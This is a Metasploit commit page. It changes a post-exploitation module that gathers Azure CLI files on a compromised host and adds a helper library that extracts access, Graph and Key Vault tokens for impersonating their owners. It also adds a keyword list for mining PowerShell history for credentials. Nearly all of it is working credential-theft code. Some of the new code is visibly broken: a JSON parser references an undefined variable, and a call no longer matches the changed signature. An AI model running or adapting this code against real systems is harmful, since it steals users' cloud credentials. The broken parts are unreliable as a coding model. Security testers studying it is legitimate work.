Skip to content

Commit 7594a41

Browse files
committed
moving azure_cli_files around and stubbing out content
Update azure lib with process_context_contents Update azure_spec.rb Update azure.rb Update azure_spec.rb Update azure_cli_creds.rb fix lint warning add function to print consolehost_history print_consolehost_history spec updates fixing azure_cli spec, and errors
1 parent e8571f2 commit 7594a41

File tree

3 files changed

+775
-84
lines changed

3 files changed

+775
-84
lines changed

lib/msf/core/post/azure.rb

Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf::Post::Azure
4+
def process_tokens_file(file_path, file_data)
5+
table_data = []
6+
data = parse_json(file_path, file_data)
7+
if data
8+
dic = {}
9+
data.each do |item|
10+
if dic.key?(item['userId'])
11+
dic[item['userId']] = dic[item['userId']] + 1
12+
else
13+
dic[item['userId']] = 1
14+
end
15+
end
16+
dic.each do |key, value|
17+
table_data << [file_path, key, value]
18+
end
19+
end
20+
table_data
21+
end
22+
23+
#
24+
# Processes a hashtable (json) from azureProfile.json
25+
#
26+
# @param content [Hash] contents of a json file to process
27+
# @return [Array]
28+
def process_profile_file(content)
29+
table_data = []
30+
31+
# make sure we have keys we expect to
32+
return table_data unless content.key? 'subscriptions'
33+
34+
content['subscriptions'].each do |item|
35+
table_data << [item['name'], item.dig('user', 'name'), item['environmentName']]
36+
end
37+
table_data
38+
end
39+
40+
#
41+
# Processes a hashtable (json) generated via Save-AzContext or automatically
42+
# generated in AzureRmContext.json
43+
#
44+
# @param content [Hash] contents of a json file to process
45+
# @return [Array]
46+
def process_context_contents(content)
47+
table_data = []
48+
49+
# make sure we have keys we expect to
50+
return table_data unless content.key? 'Contexts'
51+
52+
content['Contexts'].each_value do |account|
53+
username = account.dig('Account', 'Id')
54+
type = account.dig('Account', 'Type')
55+
if type == 'ServicePrincipal'
56+
account.dig('Account', 'ExtendedProperties', 'ServicePrincipalSecret')
57+
end
58+
access_token = account.dig('Account', 'ExtendedProperties', 'AccessToken')
59+
graph_access_token = account.dig('Account', 'ExtendedProperties', 'GraphAccessToken')
60+
# example of parsing these out to get an expiration for the token
61+
# unless graph_access_token.nil? || graph_access_token.empty?
62+
# decoded_token = Msf::Exploit::Remote::HTTP::JWT.decode(graph_access_token)
63+
# graph_access_token_exp = Time.at(decoded_token.payload['exp']).to_datetime
64+
# end
65+
ms_graph_access_token = account.dig('Account', 'ExtendedProperties', 'MicrosoftGraphAccessToken')
66+
key_vault_token = account.dig('Account', 'ExtendedProperties', 'KeyVault')
67+
table_data.append([username, type, access_token, graph_access_token, ms_graph_access_token, key_vault_token])
68+
end
69+
table_data
70+
end
71+
72+
#
73+
# Print any lines from a ConsoleHost_history.txt file that may have
74+
# important information
75+
#
76+
# @param content [Str] contents of a ConsoleHost_history.txt file
77+
# @return Array of strings to print to notify the user about
78+
def print_consolehost_history(content)
79+
# a list of strings which may contain secrets or other important information
80+
commands_of_value = [
81+
'System.Management.Automation.PSCredential', # for creating new credentials, may contain username/password
82+
'ConvertTo-SecureString', # often used with passwords
83+
'Connect-AzAccount', # may contain an access token in line or near it
84+
'New-PSSession', # may indicate lateral movement to a new host
85+
'commandToExecute', # when used with Set-AzVMExtension and a CustomScriptExtension, may show code execution
86+
'-ScriptBlock' # when used with Invoke-Command, may show code execution
87+
]
88+
89+
output = []
90+
91+
content.each_line.with_index do |line, index|
92+
commands_of_value.each do |command|
93+
if line.downcase.include? command.downcase
94+
output.append("Line #{index+1} may contain sensitive information. Manual search recommended, keyword hit: #{command}")
95+
end
96+
end
97+
end
98+
output
99+
end
100+
end
Lines changed: 108 additions & 84 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
##
2-
# This module requires Metasploit: http://metasploit.com/download
2+
# This module requires Metasploit: https://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

@@ -9,64 +9,46 @@ class MetasploitModule < Msf::Post
99
include Msf::Post::File
1010
include Msf::Post::Unix
1111
include Msf::Post::Windows::UserProfiles
12+
include Msf::Post::Azure
1213

1314
def initialize(info = {})
14-
super(update_info(info,
15-
'Name' => 'Multi Gather Azure CLI credentials',
16-
'Description' => %q(
17-
This module will collect the Azure CLI 2.0 (az cli) settings files
18-
for all users on a given target. These configuration files contain
19-
JWT tokens used to authenticate users and other subscription information.
20-
Once tokens are stolen from one host, they can be used to impersonate
21-
the user from a different host.
22-
),
23-
'License' => MSF_LICENSE,
24-
'Author' => ['James Otten <jamesotten1[at]gmail.com>'],
25-
'Platform' => ['win', 'linux', 'osx'],
26-
'SessionTypes' => ['meterpreter']
27-
))
28-
end
29-
30-
def process_profile_file(file_path, file_data)
31-
table_data = []
32-
data = parse_json(file_path, file_data)
33-
if data && data.key?("subscriptions")
34-
data["subscriptions"].each do |item|
35-
table_data << [file_path, item["name"], item["user"]["name"], item["environmentName"]]
36-
end
37-
end
38-
table_data
39-
end
40-
41-
def process_tokens_file(file_path, file_data)
42-
table_data = []
43-
data = parse_json(file_path, file_data)
44-
if data
45-
dic = {}
46-
data.each do |item|
47-
if dic.key?(item["userId"])
48-
dic[item["userId"]] = dic[item["userId"]] + 1
49-
else
50-
dic[item["userId"]] = 1
51-
end
52-
end
53-
dic.each do |key, value|
54-
table_data << [file_path, key, value]
55-
end
56-
end
57-
table_data
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'Multi Gather Azure CLI Credentials',
19+
'Description' => %q{
20+
This module will collect the Azure CLI 2.0 (az cli) settings files
21+
for all users on a given target. These configuration files contain
22+
JWT tokens used to authenticate users and other subscription information.
23+
Once tokens are stolen from one host, they can be used to impersonate
24+
the user from a different host.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' => [
28+
'James Otten <jamesotten1[at]gmail.com>', # original author
29+
'h00die' # additions
30+
],
31+
'Platform' => ['win', 'linux', 'osx'],
32+
'SessionTypes' => ['meterpreter'],
33+
'Notes' => {
34+
'Stability' => [CRASH_SAFE],
35+
'Reliability' => [],
36+
'SideEffects' => []
37+
}
38+
)
39+
)
5840
end
5941

60-
def parse_json(file_path, str)
61-
data = nil
62-
options = { :invalid => :replace, :undef => :replace, :replace => '' }
63-
str = str.encode(Encoding.find('ASCII'), options)
42+
def parse_json(data)
43+
json_blob = nil
44+
options = { invalid: :replace, undef: :replace, replace: '' }
45+
str.encode(Encoding.find('ASCII'), options)
6446
begin
65-
data = JSON.parse(str)
47+
json_blob = JSON.parse(data)
6648
rescue ::JSON::ParserError
67-
print_error("Unable to parse #{file_path}")
49+
print_error('Unable to parse json blob')
6850
end
69-
data
51+
json_blob
7052
end
7153

7254
def user_dirs
@@ -78,54 +60,96 @@ def user_dirs
7860
elsif session.platform == 'linux' || session.platform == 'osx'
7961
user_dirs = enum_user_directories
8062
else
81-
fail_with(Failure::BadConfig, "Unsupported platform")
63+
fail_with(Failure::BadConfig, 'Unsupported platform')
8264
end
8365
user_dirs
8466
end
8567

8668
def run
8769
subscription_table = Rex::Text::Table.new(
88-
"Header" => "Subscriptions",
89-
"Columns" => ["Source", "Account Name", "Username", "Cloud Name"]
70+
'Header' => 'Subscriptions',
71+
'Indent' => 1,
72+
'Columns' => ['Source', 'Account Name', 'Username', 'Cloud Name']
9073
)
9174
tokens_table = Rex::Text::Table.new(
92-
"Header" => "Tokens",
93-
"Columns" => ["Source", "Username", "Count"]
75+
'Header' => 'Tokens',
76+
'Indent' => 1,
77+
'Columns' => ['Source', 'Username', 'Count']
9478
)
95-
loot_type = nil
96-
description = nil
79+
context_table = Rex::Text::Table.new(
80+
'Header' => 'Context',
81+
'Indent' => 1,
82+
'Columns' => ['Username', 'Account Type', 'Access Token', 'Graph Access Token', 'MS Graph Access Token', 'Key Vault Token']
83+
)
84+
9785
user_dirs.map do |user_directory|
9886
vprint_status("Looking for az cli data in #{user_directory}")
99-
%w[.azure/accessTokens.json .azure/azureProfile.json .azure/config].each do |file_location|
87+
# leaving all these as lists for consistency and future expansion
88+
89+
# ini file content, not json.
90+
vprint_status(' Checking for config files')
91+
%w[.azure/config].each do |file_location|
10092
possible_location = ::File.join(user_directory, file_location)
101-
if exists?(possible_location)
102-
data = read_file(possible_location)
103-
if data
104-
vprint_status("Found az cli file #{possible_location}")
105-
if file_location.end_with?("accessTokens.json")
106-
loot_type = "azurecli.jwt_tokens"
107-
description = "Azure CLI access/refresh JWT tokens"
108-
process_tokens_file(possible_location, data).each do |item|
109-
tokens_table << item
110-
end
111-
elsif file_location.end_with?("config")
112-
loot_type = "azurecli.config"
113-
description = "Azure CLI configuration"
114-
elsif file_location.end_with?("azureProfile.json")
115-
loot_type = "azurecli.azure_profile"
116-
description = "Azure CLI profile"
117-
process_profile_file(possible_location, data).each do |item|
118-
subscription_table << item
119-
end
120-
end
121-
stored = store_loot(loot_type, "text/plain", session, data, file_location, description)
122-
print_good("#{possible_location} stored to #{stored}")
93+
next unless exists?(possible_location)
94+
next unless readable?(possible_location)
95+
96+
data = read_file(possible_location)
97+
next unless data
98+
99+
# https://stackoverflow.com/a/16088751/22814155 no ini ctype
100+
loot = store_loot 'azure.config.ini', 'text/plain', session, data, file_location, 'Azure CLI Config'
101+
print_good " #{file_location} stored in #{loot}"
102+
end
103+
104+
vprint_status(' Checking for context files')
105+
%w[.azure/AzureRmContext.json].each do |file_location|
106+
possible_location = ::File.join(user_directory, file_location)
107+
next unless exists?(possible_location)
108+
next unless readable?(possible_location)
109+
110+
data = read_file(possible_location)
111+
next unless data
112+
113+
loot = store_loot 'azure.context.json', 'text/json', session, data, file_location, 'Azure CLI Context'
114+
print_good " #{file_location} stored in #{loot}"
115+
data = parse_json(data)
116+
results = process_context_contents(data)
117+
results.each do |result|
118+
context_table << result
119+
end
120+
end
121+
122+
%w[.azure/accessTokens.json .azure/azureProfile.json].each do |file_location|
123+
possible_location = ::File.join(user_directory, file_location)
124+
next unless exists?(possible_location)
125+
126+
data = read_file(possible_location)
127+
next unless data
128+
129+
vprint_status("Found az cli file #{possible_location}")
130+
if file_location.end_with?('accessTokens.json')
131+
loot_type = 'azurecli.jwt_tokens'
132+
description = 'Azure CLI access/refresh JWT tokens'
133+
process_tokens_file(possible_location, data).each do |item|
134+
tokens_table << item
135+
end
136+
elsif file_location.end_with?('config')
137+
loot_type = 'azurecli.config'
138+
description = 'Azure CLI configuration'
139+
elsif file_location.end_with?('azureProfile.json')
140+
loot_type = 'azurecli.azure_profile'
141+
description = 'Azure CLI profile'
142+
process_profile_file(possible_location, data).each do |item|
143+
subscription_table << item
123144
end
124145
end
146+
stored = store_loot(loot_type, 'text/plain', session, data, file_location, description)
147+
print_good("#{possible_location} stored to #{stored}")
125148
end
126149
end
127150

128-
print_line(subscription_table.to_s)
129-
print_line(tokens_table.to_s)
151+
print_good(subscription_table.to_s) unless subscription_table.rows.empty?
152+
print_good(tokens_table.to_s) unless tokens_table.rows.empty?
153+
print_good(context_table.to_s) unless context_table.rows.empty?
130154
end
131155
end

0 commit comments

Comments
 (0)